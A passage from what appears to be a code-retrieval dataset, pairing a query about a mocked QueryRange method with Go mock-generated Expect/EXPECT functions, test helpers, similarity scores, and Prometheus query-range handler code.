&ClientMockGetAbandonedRequestParams{ctx, objectRef, reqRef}\n\tfor _, e := range mmGetAbandonedRequest.expectations {\n\t\tif minimock.Equal(e.params, mmGetAbandonedRequest.defaultExpectation.params) {\n\t\t\tmmGetAbandonedRequest.mock.t.Fatalf(\"Expectation set by When has same params: %#v\", *mmGetAbandonedRequest.defaultExpectation.params)\n\t\t}\n\t}\n\n\treturn mmGetAbandonedRequest\n}", "func (mmSend *mSenderMockSend) Expect(ctx context.Context, email Email) *mSenderMockSend {\n\tif mmSend.mock.funcSend != nil {\n\t\tmmSend.mock.t.Fatalf(\"SenderMock.Send mock is already set by Set\")\n\t}\n\n\tif mmSend.defaultExpectation == nil {\n\t\tmmSend.defaultExpectation = &SenderMockSendExpectation{}\n\t}\n\n\tmmSend.defaultExpectation.params = &SenderMockSendParams{ctx, email}\n\tfor _, e := range mmSend.expectations {\n\t\tif minimock.Equal(e.params, mmSend.defaultExpectation.params) {\n\t\t\tmmSend.mock.t.Fatalf(\"Expectation set by When has same params: %#v\", *mmSend.defaultExpectation.params)\n\t\t}\n\t}\n\n\treturn mmSend\n}", "func callAndVerify(msg string, client pb.GreeterClient, shouldFail bool) error {\n\tctx, cancel := context.WithTimeout(context.Background(), time.Second)\n\tdefer cancel()\n\t_, err := client.SayHello(ctx, &pb.HelloRequest{Name: msg})\n\tif want, got := shouldFail == true, err != nil; got != want {\n\t\treturn fmt.Errorf(\"want and got mismatch, want shouldFail=%v, got fail=%v, rpc error: %v\", want, got, err)\n\t}\n\treturn nil\n}", "func (m *Mockrequester) EXPECT() *MockrequesterMockRecorder {\n\treturn m.recorder\n}", "func expectEqual(actual interface{}, extra interface{}, explain ...interface{}) {\n\tgomega.ExpectWithOffset(1, actual).To(gomega.Equal(extra), explain...)\n}", "func (m *MockstackDescriber) EXPECT() *MockstackDescriberMockRecorder {\n\treturn m.recorder\n}", "func (req *outgoingRequest) Assert(t *testing.T, fixture *fixture) {\n\tassert.Equal(t, req.path, fixture.calledPath, \"called path not as expected\")\n\tassert.Equal(t, req.method, fixture.calledMethod, \"called path not as expected\")\n\tassert.Equal(t, req.body, fixture.requestBody, \"call body no as expected\")\n}", "func (mmVerify *mDelegationTokenFactoryMockVerify) Expect(parcel mm_insolar.Parcel) *mDelegationTokenFactoryMockVerify {\n\tif mmVerify.mock.funcVerify != nil {\n\t\tmmVerify.mock.t.Fatalf(\"DelegationTokenFactoryMock.Verify mock is already set by Set\")\n\t}\n\n\tif mmVerify.defaultExpectation == nil {\n\t\tmmVerify.defaultExpectation = &DelegationTokenFactoryMockVerifyExpectation{}\n\t}\n\n\tmmVerify.defaultExpectation.params = &DelegationTokenFactoryMockVerifyParams{parcel}\n\tfor _, e := range mmVerify.expectations {\n\t\tif minimock.Equal(e.params, mmVerify.defaultExpectation.params) {\n\t\t\tmmVerify.mock.t.Fatalf(\"Expectation set by When has same params: %#v\", *mmVerify.defaultExpectation.params)\n\t\t}\n\t}\n\n\treturn mmVerify\n}", "func (mmRead *mDigestHolderMockRead) Expect(p []byte) *mDigestHolderMockRead {\n\tif mmRead.mock.funcRead != nil {\n\t\tmmRead.mock.t.Fatalf(\"DigestHolderMock.Read mock is already set by Set\")\n\t}\n\n\tif mmRead.defaultExpectation == nil {\n\t\tmmRead.defaultExpectation = &DigestHolderMockReadExpectation{}\n\t}\n\n\tmmRead.defaultExpectation.params = &DigestHolderMockReadParams{p}\n\tfor _, e := range mmRead.expectations {\n\t\tif minimock.Equal(e.params, mmRead.defaultExpectation.params) {\n\t\t\tmmRead.mock.t.Fatalf(\"Expectation set by When has same params: %#v\", *mmRead.defaultExpectation.params)\n\t\t}\n\t}\n\n\treturn mmRead\n}", "func (mmSend *mClientMockSend) Expect(ctx context.Context, n *Notification) *mClientMockSend {\n\tif mmSend.mock.funcSend != nil {\n\t\tmmSend.mock.t.Fatalf(\"ClientMock.Send mock is already set by Set\")\n\t}\n\n\tif mmSend.defaultExpectation == nil {\n\t\tmmSend.defaultExpectation = &ClientMockSendExpectation{}\n\t}\n\n\tmmSend.defaultExpectation.params = &ClientMockSendParams{ctx, n}\n\tfor _, e := range mmSend.expectations {\n\t\tif minimock.Equal(e.params, mmSend.defaultExpectation.params) {\n\t\t\tmmSend.mock.t.Fatalf(\"Expectation set by When has same params: %#v\", *mmSend.defaultExpectation.params)\n\t\t}\n\t}\n\n\treturn mmSend\n}", "func (mmAsByteString *mDigestHolderMockAsByteString) Expect() *mDigestHolderMockAsByteString {\n\tif mmAsByteString.mock.funcAsByteString != nil {\n\t\tmmAsByteString.mock.t.Fatalf(\"DigestHolderMock.AsByteString mock is already set by Set\")\n\t}\n\n\tif mmAsByteString.defaultExpectation == nil {\n\t\tmmAsByteString.defaultExpectation = &DigestHolderMockAsByteStringExpectation{}\n\t}\n\n\treturn mmAsByteString\n}", "func Expect(msg string) error {\n\tif msg != \"\" {\n\t\treturn errors.New(msg)\n\t} else {\n\t\treturn nil\n\t}\n}", "func (mmEncrypt *mRingMockEncrypt) Expect(t1 secrets.Text) *mRingMockEncrypt {\n\tif mmEncrypt.mock.funcEncrypt != nil {\n\t\tmmEncrypt.mock.t.Fatalf(\"RingMock.Encrypt mock is already set by Set\")\n\t}\n\n\tif mmEncrypt.defaultExpectation == nil {\n\t\tmmEncrypt.defaultExpectation = &RingMockEncryptExpectation{}\n\t}\n\n\tmmEncrypt.defaultExpectation.params = &RingMockEncryptParams{t1}\n\tfor _, e := range mmEncrypt.expectations {\n\t\tif minimock.Equal(e.params, mmEncrypt.defaultExpectation.params) {\n\t\t\tmmEncrypt.mock.t.Fatalf(\"Expectation set by When has same params: %#v\", *mmEncrypt.defaultExpectation.params)\n\t\t}\n\t}\n\n\treturn mmEncrypt\n}", "func (mmBootstrapper *mGatewayMockBootstrapper) Expect() *mGatewayMockBootstrapper {\n\tif mmBootstrapper.mock.funcBootstrapper != nil {\n\t\tmmBootstrapper.mock.t.Fatalf(\"GatewayMock.Bootstrapper mock is already set by Set\")\n\t}\n\n\tif mmBootstrapper.defaultExpectation == nil {\n\t\tmmBootstrapper.defaultExpectation = &GatewayMockBootstrapperExpectation{}\n\t}\n\n\treturn mmBootstrapper\n}", "func (m *MockNotary) EXPECT() *MockNotaryMockRecorder {\n\treturn m.recorder\n}", "func (m *mParcelMockSetSender) Expect(p insolar.Reference) *mParcelMockSetSender {\n\tm.mock.SetSenderFunc = nil\n\tm.expectationSeries = nil\n\n\tif m.mainExpectation == nil {\n\t\tm.mainExpectation = &ParcelMockSetSenderExpectation{}\n\t}\n\tm.mainExpectation.input = &ParcelMockSetSenderInput{p}\n\treturn m\n}", "func (mmGetPacketType *mPacketParserMockGetPacketType) Expect() *mPacketParserMockGetPacketType {\n\tif mmGetPacketType.mock.funcGetPacketType != nil {\n\t\tmmGetPacketType.mock.t.Fatalf(\"PacketParserMock.GetPacketType mock is already set by Set\")\n\t}\n\n\tif mmGetPacketType.defaultExpectation == nil {\n\t\tmmGetPacketType.defaultExpectation = &PacketParserMockGetPacketTypeExpectation{}\n\t}\n\n\treturn mmGetPacketType\n}", "func (mmParsePacketBody *mPacketParserMockParsePacketBody) Expect() *mPacketParserMockParsePacketBody {\n\tif mmParsePacketBody.mock.funcParsePacketBody != nil {\n\t\tmmParsePacketBody.mock.t.Fatalf(\"PacketParserMock.ParsePacketBody mock is already set by Set\")\n\t}\n\n\tif mmParsePacketBody.defaultExpectation == nil {\n\t\tmmParsePacketBody.defaultExpectation = &PacketParserMockParsePacketBodyExpectation{}\n\t}\n\n\treturn mmParsePacketBody\n}", "func (mmAsBytes *mDigestHolderMockAsBytes) Expect() *mDigestHolderMockAsBytes {\n\tif mmAsBytes.mock.funcAsBytes != nil {\n\t\tmmAsBytes.mock.t.Fatalf(\"DigestHolderMock.AsBytes mock is already set by Set\")\n\t}\n\n\tif mmAsBytes.defaultExpectation == nil {\n\t\tmmAsBytes.defaultExpectation = &DigestHolderMockAsBytesExpectation{}\n\t}\n\n\treturn mmAsBytes\n}", "func (m *MockArticleLogic) EXPECT() *MockArticleLogicMockRecorder {\n\treturn m.recorder\n}", "func (mmKey *mIteratorMockKey) Expect() *mIteratorMockKey {\n\tif mmKey.mock.funcKey != nil {\n\t\tmmKey.mock.t.Fatalf(\"IteratorMock.Key mock is already set by Set\")\n\t}\n\n\tif mmKey.defaultExpectation == nil {\n\t\tmmKey.defaultExpectation = &IteratorMockKeyExpectation{}\n\t}\n\n\treturn mmKey\n}", "func (m *MockFactory) EXPECT() *MockFactoryMockRecorder {\n\treturn m.recorder\n}", "func (m *MockFactory) EXPECT() *MockFactoryMockRecorder {\n\treturn m.recorder\n}", "func (m *MockFactory) EXPECT() *MockFactoryMockRecorder {\n\treturn m.recorder\n}", "func (m *mOutboundMockCanAccept) Expect(p Inbound) *mOutboundMockCanAccept {\n\tm.mock.CanAcceptFunc = nil\n\tm.expectationSeries = nil\n\n\tif m.mainExpectation == nil {\n\t\tm.mainExpectation = &OutboundMockCanAcceptExpectation{}\n\t}\n\tm.mainExpectation.input = &OutboundMockCanAcceptInput{p}\n\treturn m\n}", "func (m *MockLoaderFactory) EXPECT() *MockLoaderFactoryMockRecorder {\n\treturn m.recorder\n}", "func (m *MockPKG) EXPECT() *MockPKGMockRecorder {\n\treturn m.recorder\n}", "func (m *MockbucketDescriber) EXPECT() *MockbucketDescriberMockRecorder {\n\treturn m.recorder\n}", "func (m *mParcelMockType) Expect() *mParcelMockType {\n\tm.mock.TypeFunc = nil\n\tm.expectationSeries = nil\n\n\tif m.mainExpectation == nil {\n\t\tm.mainExpectation = &ParcelMockTypeExpectation{}\n\t}\n\n\treturn m\n}", "func (m *MockKeystore) EXPECT() *MockKeystoreMockRecorder {\n\treturn m.recorder\n}", "func (m *MockKeystore) EXPECT() *MockKeystoreMockRecorder {\n\treturn m.recorder\n}", "func (mmExchange *mMDNSClientMockExchange) Expect(msg *mdns.Msg, address string) *mMDNSClientMockExchange {\n\tif mmExchange.mock.funcExchange != nil {\n\t\tmmExchange.mock.t.Fatalf(\"MDNSClientMock.Exchange mock is already set by Set\")\n\t}\n\n\tif mmExchange.defaultExpectation == nil {\n\t\tmmExchange.defaultExpectation = &MDNSClientMockExchangeExpectation{}\n\t}\n\n\tmmExchange.defaultExpectation.params = &MDNSClientMockExchangeParams{msg, address}\n\tfor _, e := range mmExchange.expectations {\n\t\tif minimock.Equal(e.params, mmExchange.defaultExpectation.params) {\n\t\t\tmmExchange.mock.t.Fatalf(\"Expectation set by When has same params: %#v\", *mmExchange.defaultExpectation.params)\n\t\t}\n\t}\n\n\treturn mmExchange\n}", "func (m *MockStream) EXPECT() *MockStreamMockRecorder {\n\treturn m.recorder\n}", "func (c Chkr) Expect(v validator, args ...interface{}) {\n\tif c.runTest(v, args...) {\n\t\tc.Fail()\n\t}\n}", "func (mmClone *mStorageMockClone) Expect(ctx context.Context, from insolar.PulseNumber, to insolar.PulseNumber, keepActual bool) *mStorageMockClone {\n\tif mmClone.mock.funcClone != nil {\n\t\tmmClone.mock.t.Fatalf(\"StorageMock.Clone mock is already set by Set\")\n\t}\n\n\tif mmClone.defaultExpectation == nil {\n\t\tmmClone.defaultExpectation = &StorageMockCloneExpectation{}\n\t}\n\n\tmmClone.defaultExpectation.params = &StorageMockCloneParams{ctx, from, to, keepActual}\n\tfor _, e := range mmClone.expectations {\n\t\tif minimock.Equal(e.params, mmClone.defaultExpectation.params) {\n\t\t\tmmClone.mock.t.Fatalf(\"Expectation set by When has same params: %#v\", *mmClone.defaultExpectation.params)\n\t\t}\n\t}\n\n\treturn mmClone\n}", "func (m *MockCodeGenerator) EXPECT() *MockCodeGeneratorMockRecorder {\n\treturn m.recorder\n}", "func (m *MockNodeAttestor) EXPECT() *MockNodeAttestorMockRecorder {\n\treturn m.recorder\n}", "func (m *MockNodeAttestor) EXPECT() *MockNodeAttestorMockRecorder {\n\treturn m.recorder\n}", "func (_m *MockIStream) EXPECT() *MockIStreamMockRecorder {\n\treturn _m.recorder\n}", "func (m *mOutboundMockGetEndpointType) Expect() *mOutboundMockGetEndpointType {\n\tm.mock.GetEndpointTypeFunc = nil\n\tm.expectationSeries = nil\n\n\tif m.mainExpectation == nil {\n\t\tm.mainExpectation = &OutboundMockGetEndpointTypeExpectation{}\n\t}\n\n\treturn m\n}", "func (m *MockAZInfoProvider) EXPECT() *MockAZInfoProviderMockRecorder {\n\treturn m.recorder\n}" ]
[ "0.58157563", "0.5714918", "0.5672776", "0.5639812", "0.56273276", "0.5573085", "0.5567367", "0.5529613", "0.55066866", "0.5486919", "0.54729885", "0.54647803", "0.5460882", "0.54414886", "0.5440682", "0.5405729", "0.54035264", "0.53890616", "0.53831995", "0.53831995", "0.5369224", "0.53682834", "0.5358863", "0.5340405", "0.5338385", "0.5327707", "0.53230935", "0.53132576", "0.5307127", "0.5306891", "0.5306891", "0.5306891", "0.5306891", "0.5306891", "0.5306891", "0.5306891", "0.5306891", "0.53035146", "0.5295391", "0.5295391", "0.5291368", "0.52822006", "0.52821374", "0.52767164", "0.5273333", "0.5273239", "0.5265769", "0.52593946", "0.52572596", "0.5256972", "0.52545565", "0.5249454", "0.52421427", "0.52410823", "0.5238541", "0.52360845", "0.5235068", "0.5227199", "0.5227038", "0.52227145", "0.52144563", "0.5212412", "0.52120364", "0.5211835", "0.5211705", "0.5208191", "0.5194654", "0.5190334", "0.51877177", "0.5187148", "0.5185659", "0.51827794", "0.51817787", "0.5175451", "0.51730126", "0.5169131", "0.5167294", "0.5162394", "0.51599216", "0.51597583", "0.5159494", "0.51442164", "0.51442164", "0.51442164", "0.5143891", "0.51437116", "0.51395434", "0.51341194", "0.5133995", "0.51337904", "0.51337904", "0.51298875", "0.5129523", "0.5128482", "0.5123544", "0.51224196", "0.51162475", "0.51162475", "0.51148367", "0.51146877", "0.51091874" ]
0.0
-1
QueryRange mocks base method
func (m *MockprometheusInterface) QueryRange(query string, step Step, stepVal int) (int, error) { m.ctrl.T.Helper() ret := m.ctrl.Call(m, "QueryRange", query, step, stepVal) ret0, _ := ret[0].(int) ret1, _ := ret[1].(error) return ret0, ret1 }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func (serv MetricsService) QueryRange(w http.ResponseWriter, r *http.Request) {\n\tsetAccessControlHeaders(w)\n\tw.Header().Set(\"Content-Type\", \"application/json\")\n\n\tparams := httputils.GetQueryParams(r)\n\texpr := params.Get(\"expr\")\n\n\tduration, err := parseDuration(params.Get(\"range\"))\n\tif err != nil {\n\t\thttpJSONError(w, fmt.Errorf(\"invalid query range: %s\", err), http.StatusBadRequest)\n\t\treturn\n\t}\n\n\tstep, err := parseDuration(params.Get(\"step\"))\n\tif err != nil {\n\t\thttpJSONError(w, fmt.Errorf(\"invalid query resolution: %s\", err), http.StatusBadRequest)\n\t\treturn\n\t}\n\n\tend, err := parseTimestampOrNow(params.Get(\"end\"), serv.Now())\n\tif err != nil {\n\t\thttpJSONError(w, fmt.Errorf(\"invalid query timestamp: %s\", err), http.StatusBadRequest)\n\t\treturn\n\t}\n\t// TODO(julius): Remove this special-case handling a while after PromDash and\n\t// other API consumers have been changed to no longer set \"end=0\" for setting\n\t// the current time as the end time. Instead, the \"end\" parameter should\n\t// simply be omitted or set to an empty string for that case.\n\tif end == 0 {\n\t\tend = serv.Now()\n\t}\n\n\texprNode, err := rules.LoadExprFromString(expr)\n\tif err != nil {\n\t\tfmt.Fprint(w, ast.ErrorToJSON(err))\n\t\treturn\n\t}\n\tif exprNode.Type() != ast.VectorType {\n\t\tfmt.Fprint(w, ast.ErrorToJSON(errors.New(\"expression does not evaluate to vector type\")))\n\t\treturn\n\t}\n\n\t// For safety, limit the number of returned points per timeseries.\n\t// This is sufficient for 60s resolution for a week or 1h resolution for a year.\n\tif duration/step > 11000 {\n\t\tfmt.Fprint(w, ast.ErrorToJSON(errors.New(\"exceeded maximum resolution of 11,000 points per timeseries. Try decreasing the query resolution (?step=XX)\")))\n\t\treturn\n\t}\n\n\t// Align the start to step \"tick\" boundary.\n\tend = end.Add(-time.Duration(end.UnixNano() % int64(step)))\n\n\tqueryStats := stats.NewTimerGroup()\n\n\tmatrix, err := ast.EvalVectorRange(\n\t\texprNode.(ast.VectorNode),\n\t\tend.Add(-duration),\n\t\tend,\n\t\tstep,\n\t\tserv.Storage,\n\t\tqueryStats)\n\tif err != nil {\n\t\tfmt.Fprint(w, ast.ErrorToJSON(err))\n\t\treturn\n\t}\n\n\tsortTimer := queryStats.GetTimer(stats.ResultSortTime).Start()\n\tsort.Sort(matrix)\n\tsortTimer.Stop()\n\n\tjsonTimer := queryStats.GetTimer(stats.JSONEncodeTime).Start()\n\tresult := ast.TypedValueToJSON(matrix, \"matrix\")\n\tjsonTimer.Stop()\n\n\tglog.V(1).Infof(\"Range query: %s\\nQuery stats:\\n%s\\n\", expr, queryStats)\n\tfmt.Fprint(w, result)\n}", "func (c *BcsMonitorClient) QueryRange(promql string, startTime, endTime time.Time,\n\tstep time.Duration) (*QueryRangeResponse, error) {\n\tvar queryString string\n\tvar err error\n\tqueryString = c.setQuery(queryString, \"query\", promql)\n\tqueryString = c.setQuery(queryString, \"start\", fmt.Sprintf(\"%d\", startTime.Unix()))\n\tqueryString = c.setQuery(queryString, \"end\", fmt.Sprintf(\"%d\", endTime.Unix()))\n\tqueryString = c.setQuery(queryString, \"step\", step.String())\n\turl := fmt.Sprintf(\"%s%s?%s\", c.opts.Endpoint, QueryRangePath, queryString)\n\turl = c.addAppMessage(url)\n\theader := c.defaultHeader.Clone()\n\tstart := time.Now()\n\tdefer func() {\n\t\tprom.ReportLibRequestMetric(prom.BkBcsMonitor, \"QueryRange\", \"GET\", err, start)\n\t}()\n\trsp, err := c.requestClient.DoRequest(url, \"GET\", header, nil)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tresult := &QueryRangeResponse{}\n\terr = json.Unmarshal(rsp, result)\n\tif err != nil {\n\t\tblog.Errorf(\"json unmarshal error:%v\", err)\n\t\treturn nil, fmt.Errorf(\"do request error, url: %s, error:%v\", url, err)\n\t}\n\treturn result, nil\n}", "func (s *VMStorage) QueryRange(ctx context.Context, query string, start, end time.Time) (res Result, err error) {\n\tif s.dataSourceType != datasourcePrometheus {\n\t\treturn res, fmt.Errorf(\"%q is not supported for QueryRange\", s.dataSourceType)\n\t}\n\tif start.IsZero() {\n\t\treturn res, fmt.Errorf(\"start param is missing\")\n\t}\n\tif end.IsZero() {\n\t\treturn res, fmt.Errorf(\"end param is missing\")\n\t}\n\treq := s.newQueryRangeRequest(query, start, end)\n\tresp, err := s.do(ctx, req)\n\tif errors.Is(err, io.EOF) || errors.Is(err, io.ErrUnexpectedEOF) {\n\t\t// something in the middle between client and datasource might be closing\n\t\t// the connection. So we do a one more attempt in hope request will succeed.\n\t\treq = s.newQueryRangeRequest(query, start, end)\n\t\tresp, err = s.do(ctx, req)\n\t}\n\tif err != nil {\n\t\treturn res, err\n\t}\n\tdefer func() {\n\t\t_ = resp.Body.Close()\n\t}()\n\treturn parsePrometheusResponse(req, resp)\n}", "func (c *BcsMonitorClient) QueryRange(promql string, startTime, endTime time.Time,\n\tstep time.Duration) (*QueryRangeResponse, error) {\n\tvar queryString string\n\tvar err error\n\tqueryString = c.setQuery(queryString, \"query\", promql)\n\tqueryString = c.setQuery(queryString, \"start\", fmt.Sprintf(\"%d\", startTime.Unix()))\n\tqueryString = c.setQuery(queryString, \"end\", fmt.Sprintf(\"%d\", endTime.Unix()))\n\tqueryString = c.setQuery(queryString, \"step\", step.String())\n\turl := fmt.Sprintf(\"%s%s?%s\", c.completeEndpoint, QueryRangePath, queryString)\n\turl = c.addAppMessage(url)\n\tstart := time.Now()\n\tdefer func() {\n\t\tprom.ReportLibRequestMetric(prom.BkBcsMonitor, \"QueryRange\", \"GET\", err, start)\n\t}()\n\trsp, err := c.requestClient.DoRequest(url, \"GET\", c.defaultHeader, nil)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tresult := &QueryRangeResponse{}\n\terr = json.Unmarshal(rsp, result)\n\tif err != nil {\n\t\tblog.Errorf(\"json unmarshal error:%v\", err)\n\t\treturn nil, fmt.Errorf(\"do request error, url: %s, error:%v\", url, err)\n\t}\n\treturn result, nil\n}", "func (p *QL) QueryRange(w http.ResponseWriter, r *http.Request) {\n\n\ttoken := core.RetrieveToken(r)\n\tif len(token) == 0 {\n\t\trespondWithError(w, errors.New(\"Not authorized, please provide a READ token\"), http.StatusForbidden)\n\t\treturn\n\t}\n\n\tcontext := Context{}\n\tvar err error\n\n\tcontext.Start, err = core.ParsePromTime(r.FormValue(\"start\"))\n\tif err != nil {\n\t\tlog.WithFields(log.Fields{\n\t\t\t\"error\": err.Error(),\n\t\t\t\"proto\": \"promql\",\n\t\t\t\"entity\": \"start\",\n\t\t\t\"context\": fmt.Sprintf(\"%+v\", context),\n\t\t}).Error(\"Unprocessable entity\")\n\t\trespondWithError(w, errors.New(\"Unprocessable Entity: start\"), http.StatusBadRequest)\n\t\treturn\n\t}\n\n\tcontext.End, err = core.ParsePromTime(r.FormValue(\"end\"))\n\tif err != nil {\n\t\tlog.WithFields(log.Fields{\n\t\t\t\"error\": err.Error(),\n\t\t\t\"entity\": \"end\",\n\t\t\t\"proto\": \"promql\",\n\t\t\t\"context\": fmt.Sprintf(\"%+v\", context),\n\t\t}).Error(\"Unprocessable entity\")\n\t\trespondWithError(w, errors.New(\"Unprocessable Entity: start\"), http.StatusBadRequest)\n\t\treturn\n\t}\n\n\tif context.End.Before(context.Start) {\n\t\tlog.WithFields(log.Fields{\n\t\t\t\"error\": errors.New(\"end is before start\"),\n\t\t\t\"context\": fmt.Sprintf(\"%+v\", context),\n\t\t\t\"proto\": \"promql\",\n\t\t\t\"entity\": \"start\",\n\t\t}).Error(\"Unprocessable entity\")\n\t\trespondWithError(w, errors.New(\"End is before start\"), http.StatusBadRequest)\n\t\treturn\n\t}\n\n\tcontext.Step, err = core.ParsePromDuration(r.FormValue(\"step\"))\n\tif err != nil {\n\t\tlog.WithFields(log.Fields{\n\t\t\t\"error\": err.Error(),\n\t\t\t\"entity\": \"step\",\n\t\t\t\"proto\": \"promql\",\n\t\t\t\"context\": fmt.Sprintf(\"%+v\", context),\n\t\t}).Error(\"Unprocessable entity\")\n\t\trespondWithError(w, errors.New(\"Unprocessable Entity: step\"), http.StatusBadRequest)\n\t\treturn\n\t}\n\n\tif context.Step == \"0 s\" {\n\t\trespondWithError(w, errors.New(\"zero or negative query resolution step widths are not accepted. Try a positive integer\"), http.StatusBadRequest)\n\t\treturn\n\t}\n\n\tif context.Step == \"\" {\n\t\tcontext.Step = \"5 m\"\n\t}\n\n\tcontext.Query = r.FormValue(\"query\")\n\n\tlog.WithFields(log.Fields{\n\t\t\"query\": context.Query,\n\t\t\"proto\": \"promql\",\n\t\t\"context\": fmt.Sprintf(\"%+v\", context),\n\t}).Debug(\"Evaluating query\")\n\n\tcontext.Expr, err = promql.ParseExpr(context.Query)\n\tif err != nil {\n\t\tlog.WithFields(log.Fields{\n\t\t\t\"query\": context.Query,\n\t\t\t\"proto\": \"promql\",\n\t\t\t\"context\": fmt.Sprintf(\"%+v\", context),\n\t\t\t\"err\": err,\n\t\t}).Debug(\"Bad query\")\n\t\trespondWithError(w, err, http.StatusUnprocessableEntity)\n\t\treturn\n\t}\n\n\tlog.WithFields(log.Fields{\n\t\t\"query\": context.Query,\n\t\t\"proto\": \"promql\",\n\t\t\"context\": fmt.Sprintf(\"%+v\", context),\n\t}).Debug(\"Query is OK\")\n\n\tevaluator := evaluator{}\n\ttree := evaluator.GenerateQueryTree(context)\n\n\tmc2 := tree.ToWarpScriptWithTime(token, context.Query, context.Step, context.Start, context.End)\n\tmc2 += \"\\n[ SWAP mapper.tostring 0 0 0 ] MAP\\n\"\n\n\tlog.WithFields(log.Fields{\n\t\t\"query\": context.Query,\n\t\t\"source\": r.RemoteAddr,\n\t\t\"proto\": \"promql\",\n\t\t\"method\": r.Method,\n\t\t\"path\": r.URL.String(),\n\t}).Debug(\"PromQL query\")\n\n\twarpServer := core.NewWarpServer(viper.GetString(\"warp_endpoint\"), \"prometheus-query-range\")\n\tresponse, err := warpServer.Query(mc2, w.Header().Get(middlewares.TxnHeader))\n\tif err != nil {\n\t\twErr := response.Header.Get(\"X-Warp10-Error-Message\")\n\t\tif wErr == \"\" {\n\t\t\tdump, err := httputil.DumpResponse(response, true)\n\t\t\tif err == nil {\n\t\t\t\twErr = string(dump)\n\t\t\t} else {\n\t\t\t\twErr = \"Unparsable error\"\n\t\t\t}\n\t\t}\n\t\tlog.WithFields(log.Fields{\n\t\t\t\"error\": fmt.Errorf(wErr),\n\t\t\t\"proto\": \"promql\",\n\t\t}).Error(\"Bad response from Egress: \" + err.Error())\n\t\trespondWithError(w, fmt.Errorf(wErr), http.StatusServiceUnavailable)\n\t\treturn\n\t}\n\tbuffer, err := ioutil.ReadAll(response.Body)\n\tif err != nil {\n\t\tlog.WithFields(log.Fields{\n\t\t\t\"error\": err.Error(),\n\t\t\t\"proto\": \"promql\",\n\t\t}).Error(\"can't fully read Egress response\")\n\t\trespondWithError(w, err, http.StatusServiceUnavailable)\n\t\treturn\n\t}\n\n\t// HACK : replace Infinity values from Warp to Inf\n\ts := strings.Replace(string(buffer), \"Infinity\", \"+Inf\", -1)\n\ts = strings.Replace(s, \"-+Inf\", \"-Inf\", -1)\n\tbuffer = []byte(s)\n\n\tresponses := [][]core.GeoTimeSeries{}\n\terr = json.Unmarshal(buffer, &responses)\n\tif err != nil {\n\t\twErr := response.Header.Get(\"X-Warp10-Error-Message\")\n\t\tif wErr == \"\" {\n\t\t\tdump, err := httputil.DumpResponse(response, true)\n\t\t\tif err == nil {\n\t\t\t\twErr = string(dump)\n\t\t\t} else {\n\t\t\t\twErr = \"Unparsable error\"\n\t\t\t}\n\t\t}\n\t\tlog.WithFields(log.Fields{\n\t\t\t\"error\": fmt.Errorf(wErr),\n\t\t\t\"proto\": \"promql\",\n\t\t}).Error(\"Cannot unmarshal egress response: \" + err.Error())\n\t\trespondWithError(w, fmt.Errorf(wErr), http.StatusServiceUnavailable)\n\t\treturn\n\t}\n\t// Since it's a range_query, we can enforce the matrix resultType\n\tprometheusResponse, err := warpToPrometheusResponseRange(responses[0], model.ValMatrix.String())\n\tif err != nil {\n\t\tw.Write([]byte(err.Error()))\n\t\trespondWithError(w, err, http.StatusServiceUnavailable)\n\t}\n\trespond(w, prometheusResponse)\n}", "func RangeQuery(in Query, r types.Request) (out Query) {\n\tout = in.Skip(r.Start)\n\tout = out.Limit(r.Length)\n\treturn\n}", "func (m *MockStore) Query(arg0 string, arg1 ...storage.QueryOption) (storage.Iterator, error) {\n\tm.ctrl.T.Helper()\n\tvarargs := []interface{}{arg0}\n\tfor _, a := range arg1 {\n\t\tvarargs = append(varargs, a)\n\t}\n\tret := m.ctrl.Call(m, \"Query\", varargs...)\n\tret0, _ := ret[0].(storage.Iterator)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func (s *countAPI) QueryRange(ctx context.Context, query string, r v1.Range) (model.Value, v1.Warnings, error) {\n\ts.callCount[\"QueryRange\"]++\n\treturn s.API.QueryRange(ctx, query, r)\n}", "func (q *Query) Range(indexName string, start, end interface{}) *Query {\n\t// For an index range search,\n\t// it is non-sensical to pass two nils\n\t// Set the error and return the query unchanged\n\tif start == nil && end == nil {\n\t\tq.err = errors.New(ErrNilInputsRangeIndexQuery)\n\t\treturn q\n\t}\n\tq.start = start\n\tq.end = end\n\tq.isIndexQuery = true\n\tq.indexName = []byte(indexName)\n\treturn q\n}", "func (m *MockQueryer) QueryRaw(arg0, arg1 []string, arg2, arg3 int64, arg4 *elastic.SearchSource) (*elastic.SearchResult, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"QueryRaw\", arg0, arg1, arg2, arg3, arg4)\n\tret0, _ := ret[0].(*elastic.SearchResult)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func (_m *QueryBuilder) WithRange(key string, op djoemo.Operator, value interface{}) ddb.QueryBuilder {\n\tret := _m.Called(key, op, value)\n\n\tvar r0 ddb.QueryBuilder\n\tif rf, ok := ret.Get(0).(func(string, djoemo.Operator, interface{}) ddb.QueryBuilder); ok {\n\t\tr0 = rf(key, op, value)\n\t} else {\n\t\tif ret.Get(0) != nil {\n\t\t\tr0 = ret.Get(0).(ddb.QueryBuilder)\n\t\t}\n\t}\n\n\treturn r0\n}", "func QueryRanged(baseURL string, timeout time.Duration, expression string, start time.Time, end time.Time, step int, outMatrix interface{}) error {\n\treturn queryAPI(baseURL, \"/api/v1/query_range\",\n\t\tmap[string]string{\n\t\t\t\"query\": expression,\n\t\t\t\"start\": start.Format(time.RFC3339),\n\t\t\t\"end\": end.Format(time.RFC3339),\n\t\t\t\"step\": strconv.FormatInt(int64(step), 10),\n\t\t},\n\t\ttimeout, RangedVector, outMatrix)\n}", "func TestRangeFeedMock(t *testing.T) {\n\tdefer leaktest.AfterTest(t)()\n\tshortRetryOptions := retry.Options{\n\t\tInitialBackoff: time.Millisecond,\n\t\tMaxBackoff: 2 * time.Millisecond,\n\t}\n\tt.Run(\"scan retries\", func(t *testing.T) {\n\t\tstopper := stop.NewStopper()\n\t\tctx := context.Background()\n\t\tdefer stopper.Stop(ctx)\n\t\tctx, cancel := context.WithCancel(ctx)\n\t\tvar i int\n\t\tsp := roachpb.Span{\n\t\t\tKey: roachpb.Key(\"a\"),\n\t\t\tEndKey: roachpb.Key(\"b\"),\n\t\t}\n\t\tts := hlc.Timestamp{WallTime: 1}\n\t\trow := roachpb.KeyValue{\n\t\t\tKey: sp.Key,\n\t\t\tValue: 